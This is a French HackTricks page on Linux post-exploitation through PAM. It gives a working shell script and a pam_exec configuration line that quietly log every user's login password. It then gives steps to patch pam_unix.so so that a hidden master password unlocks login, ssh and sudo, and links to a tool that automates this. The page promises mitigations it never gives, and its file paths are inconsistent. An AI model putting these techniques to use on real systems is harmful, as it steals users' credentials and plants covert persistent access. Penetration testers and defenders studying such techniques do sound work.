# Linux Post-Exploitation {{#include ../../banners/hacktricks-training.md}} ## Sniffing Logon Passwords with PAM Configurons un module PAM pour enregistrer chaque mot de passe utilisé par chaque utilisateur pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez : {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} **Pour plus de détails, consultez le [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ceci est juste un résumé : **Aperçu de la technique :** Les modules d'authentification pluggables (PAM) offrent une flexibilité dans la gestion de l'authentification sur les systèmes basés sur Unix. Ils peuvent améliorer la sécurité en personnalisant les processus de connexion, mais présentent également des risques s'ils sont mal utilisés. Ce résumé décrit une technique pour capturer les informations d'identification de connexion à l'aide de PAM, ainsi que des stratégies d'atténuation. **Capture des informations d'identification :** - Un script bash nommé `toomanysecrets.sh` est créé pour enregistrer les tentatives de connexion, capturant la date, le nom d'utilisateur (`$PAM_USER`), le mot de passe (via stdin) et l'IP de l'hôte distant (`$PAM_RHOST`) dans `/var/log/toomanysecrets.log`. - Le script est rendu exécutable et intégré dans la configuration PAM (`common-auth`) à l'aide du module `pam_exec.so` avec des options pour s'exécuter silencieusement et exposer le jeton d'authentification au script. - L'approche démontre comment un hôte Linux compromis peut être exploité pour enregistrer discrètement les informations d'identification. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log sudo touch /var/log/toomanysecrets.sh sudo chmod 770 /var/log/toomanysecrets.sh sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM **Pour plus de détails, consultez le [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ceci est juste un résumé : Le Pluggable Authentication Module (PAM) est un système utilisé sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : **nom d'utilisateur**, **mot de passe** et **service**. Les fichiers de configuration pour chaque service se trouvent dans le répertoire `/etc/pam.d/`, où des bibliothèques partagées gèrent l'authentification. **Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spécifique, contournant le mot de passe réel de l'utilisateur. Cela se concentre particulièrement sur la bibliothèque partagée `pam_unix.so` utilisée par le fichier `common-auth`, qui est inclus par presque tous les services pour la vérification des mots de passe. ### Étapes pour modifier `pam_unix.so` : 1. **Localiser la directive d'authentification** dans le fichier `common-auth` : - La ligne responsable de la vérification du mot de passe d'un utilisateur appelle `pam_unix.so`. 2. **Modifier le code source** : - Ajouter une instruction conditionnelle dans le fichier source `pam_unix_auth.c` qui accorde l'accès si un mot de passe prédéfini est utilisé, sinon, il poursuit le processus d'authentification habituel. 3. **Recompiler et remplacer** la bibliothèque modifiée `pam_unix.so` dans le répertoire approprié. 4. **Test** : - L'accès est accordé à travers divers services (connexion, ssh, sudo, su, économiseur d'écran) avec le mot de passe prédéfini, tandis que les processus d'authentification normaux restent inchangés. > [!NOTE] > Vous pouvez automatiser ce processus avec [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) {{#include ../../banners/hacktricks-training.md}}